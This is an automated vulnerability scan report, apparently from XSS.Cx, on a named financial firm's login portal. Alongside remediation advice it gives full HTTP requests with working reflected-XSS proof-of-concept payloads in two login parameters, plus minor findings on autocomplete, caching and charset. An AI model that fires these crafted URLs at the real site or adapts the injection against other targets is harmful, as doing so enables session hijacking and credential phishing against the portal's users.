XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection, PoC, Report, wmp.wellington.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://wmp.wellington.com/wpso/OffshoreLogin.do [destination parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/wpso/OffshoreLogin.do

Issue detail

The value of the destination request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 358ad'style%3d'x%3aexpression(alert(1))'2e4c0cd3701165ab3 was submitted in the destination parameter. This input was echoed as 358ad'style='x:expression(alert(1))'2e4c0cd3701165ab3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /wpso/OffshoreLogin.do?login=werwe&password=rwerwqre&destination=358ad'style%3d'x%3aexpression(alert(1))'2e4c0cd3701165ab3&type=&Login=Login&isEncrypted=false HTTP/1.1
Host: wmp.wellington.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://wmp.wellington.com/wpso/offshore/index.jsp
Cookie: JSESSIONID=08AE7E867AEFB108703B5BDA89B1204E; cookiesEnabled=yes

Response

HTTP/1.1 200 OK
Date: Fri, 30 Dec 2011 21:05:30 GMT
Server: Apache
Set-Cookie: JSESSIONID=688ACD40C7545259A998CADCD073F112; Path=/wpso/; Secure; HttpOnly
Vary: Accept-Encoding
Content-Length: 6810
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1

<html>
<head>

<BASE href='https://wmp.wellington.com/wpso/'>

<title>Wellington Management Portfolios</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link r
...[SNIP]...
<input type="hidden" name="destination" value='358ad'style='x:expression(alert(1))'2e4c0cd3701165ab3'>
...[SNIP]...

1.2. https://wmp.wellington.com/wpso/OffshoreLogin.do [type parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/wpso/OffshoreLogin.do

Issue detail

The value of the type request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5e7d8'style%3d'x%3aexpression(alert(1))'b49d66a4e047a3ee0 was submitted in the type parameter. This input was echoed as 5e7d8'style='x:expression(alert(1))'b49d66a4e047a3ee0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /wpso/OffshoreLogin.do?login=werwe&password=rwerwqre&destination=&type=5e7d8'style%3d'x%3aexpression(alert(1))'b49d66a4e047a3ee0&Login=Login&isEncrypted=false HTTP/1.1
Host: wmp.wellington.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://wmp.wellington.com/wpso/offshore/index.jsp
Cookie: JSESSIONID=08AE7E867AEFB108703B5BDA89B1204E; cookiesEnabled=yes

Response

HTTP/1.1 200 OK
Date: Fri, 30 Dec 2011 21:05:41 GMT
Server: Apache
Set-Cookie: JSESSIONID=BBFFD723968721871028A88F9BBF5145; Path=/wpso/; Secure; HttpOnly
Vary: Accept-Encoding
Content-Length: 6810
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1

<html>
<head>

<BASE href='https://wmp.wellington.com/wpso/'>

<title>Wellington Management Portfolios</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link r
...[SNIP]...
<input type="hidden" name="type" value='5e7d8'style='x:expression(alert(1))'b49d66a4e047a3ee0'>
...[SNIP]...

2. Password field with autocomplete enabled previous next
There are 2 instances of this issue:

/wpso/OffshoreLogin.do
/wpso/offshore/index.jsp

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

2.1. https://wmp.wellington.com/wpso/OffshoreLogin.do previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/wpso/OffshoreLogin.do

Issue detail

The page contains a form with the following action URL:

https://wmp.wellington.com/wpso/OffshoreLogin.do

The form contains the following password field with autocomplete enabled:

password

Request

POST /wpso/OffshoreLogin.do HTTP/1.1
Host: wmp.wellington.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://wmp.wellington.com/wpso/offshore/index.jsp
Cookie: JSESSIONID=08AE7E867AEFB108703B5BDA89B1204E; cookiesEnabled=yes
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

login=werwe&password=rwerwqre&destination=&type=&Login=Login&isEncrypted=false

Response

HTTP/1.1 200 OK
Date: Fri, 30 Dec 2011 21:04:52 GMT
Server: Apache
Set-Cookie: JSESSIONID=AFD78B227DD7DB66A43246EE4125268D; Path=/wpso/; Secure; HttpOnly
Vary: Accept-Encoding
Content-Length: 6752
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1

<html>
<head>

<BASE href='https://wmp.wellington.com/wpso/'>

<title>Wellington Management Portfolios</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link r
...[SNIP]...
<td height="405" valign="top" width="679">
<form name="ProspectLoginForm" method="POST" action="/wpso/OffshoreLogin.do">

<table width="695" border="0" cellspacing="0" cellpadding="0">
...[SNIP]...
<td width="196">
<input type="password" name="password" maxlength="20" value="">
<input type="hidden" name="destination" value=''>
...[SNIP]...

2.2. https://wmp.wellington.com/wpso/offshore/index.jsp previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/wpso/offshore/index.jsp

Issue detail

The page contains a form with the following action URL:

https://wmp.wellington.com/wpso/OffshoreLogin.do

The form contains the following password field with autocomplete enabled:

password

Request

GET /wpso/offshore/index.jsp HTTP/1.1
Host: wmp.wellington.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://wmp.wellington.com/chk_browser.html
Cookie: cookiesEnabled=yes
Content-Length: 10

Response

HTTP/1.1 200 OK
Date: Fri, 30 Dec 2011 21:04:08 GMT
Server: Apache
Set-Cookie: JSESSIONID=3240C0FDC76E2F31EF9119E6F215FF6F; Path=/wpso/; Secure; HttpOnly
Vary: Accept-Encoding
Content-Length: 6705
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1

<html>
<head>

<BASE href='https://wmp.wellington.com/wpso/'>

<title>Wellington Management Portfolios</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link r
...[SNIP]...
<td height="405" valign="top" width="679">
<form name="ProspectLoginForm" method="POST" action="/wpso/OffshoreLogin.do">

<table width="695" border="0" cellspacing="0" cellpadding="0">
...[SNIP]...
<td width="196">
<input type="password" name="password" maxlength="20" value="">
<input type="hidden" name="destination" value=''>
...[SNIP]...

3. Cacheable HTTPS response previous next
There are 6 instances of this issue:

/
/chk_browser.html
/wpso/OffshoreForgotLoginAndPassword.do
/wpso/OffshoreLogin.do
/wpso/offshore/forgot_login_password.jsp
/wpso/offshore/index.jsp

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

3.1. https://wmp.wellington.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/

Request

GET / HTTP/1.1
Host: wmp.wellington.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.wellington.com/Our_Clients/Client_Resources/Online_Resources/
Content-Length: 10

Response

HTTP/1.1 200 OK
Date: Fri, 30 Dec 2011 21:04:05 GMT
Server: Apache
Last-Modified: Mon, 06 Jun 2005 18:27:17 GMT
ETag: "b0019-194-3f8e3da7cab40"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 404
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
<title>Wellington Management Portfolios</title>
<meta HTTP-EQUIV="Refresh" CONTENT="3; URL=js_warn.html">

<s
...[SNIP]...

3.2. https://wmp.wellington.com/chk_browser.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/chk_browser.html

Request

GET /chk_browser.html HTTP/1.1
Host: wmp.wellington.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://wmp.wellington.com/
Content-Length: 10

Response

HTTP/1.1 200 OK
Date: Fri, 30 Dec 2011 21:04:07 GMT
Server: Apache
Last-Modified: Fri, 29 Jul 2011 06:50:01 GMT
ETag: "b0004-14eb-4a92fb0c37840"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 5355
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>

<head>

<title>Wellington Management Portfolios</title>

<script language="javascript">

//

var n = navigator;

// string
...[SNIP]...

3.3. https://wmp.wellington.com/wpso/OffshoreForgotLoginAndPassword.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/wpso/OffshoreForgotLoginAndPassword.do

Request

POST /wpso/OffshoreForgotLoginAndPassword.do HTTP/1.1
Host: wmp.wellington.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://wmp.wellington.com/wpso/offshore/forgot_login_password.jsp
Cookie: JSESSIONID=0FED81A934D5F22C677B5E742A42BE48; cookiesEnabled=yes
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

firstName=&lastName=&organization=&emailAddress=&phoneNumber=&callTime=&button=Submit

Response

HTTP/1.1 200 OK
Date: Fri, 30 Dec 2011 21:05:03 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 7916
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1

<html>
<head>

<BASE href='https://wmp.wellington.com/wpso/'>

<title>Wellington Management Portfolios</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link rel="s
...[SNIP]...

3.4. https://wmp.wellington.com/wpso/OffshoreLogin.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/wpso/OffshoreLogin.do

Request

Response

3.5. https://wmp.wellington.com/wpso/offshore/forgot_login_password.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/wpso/offshore/forgot_login_password.jsp

Request

GET /wpso/offshore/forgot_login_password.jsp HTTP/1.1
Host: wmp.wellington.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://wmp.wellington.com/wpso/OffshoreLogin.do
Cookie: JSESSIONID=0FED81A934D5F22C677B5E742A42BE48; cookiesEnabled=yes
Content-Length: 10

Response

HTTP/1.1 200 OK
Date: Fri, 30 Dec 2011 21:04:59 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 7742
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1

<html>
<head>

<BASE href='https://wmp.wellington.com/wpso/'>

<title>Wellington Management Portfolios</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link rel="s
...[SNIP]...

3.6. https://wmp.wellington.com/wpso/offshore/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/wpso/offshore/index.jsp

Request

Response

4. HTML does not specify charset previous
There are 2 instances of this issue:

/
/chk_browser.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

4.1. https://wmp.wellington.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/

Request

Response

4.2. https://wmp.wellington.com/chk_browser.html previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://wmp.wellington.com
Path:	/chk_browser.html

Request

Response

Report generated by XSS.Cx at Sat Jan 21 07:52:28 CST 2012.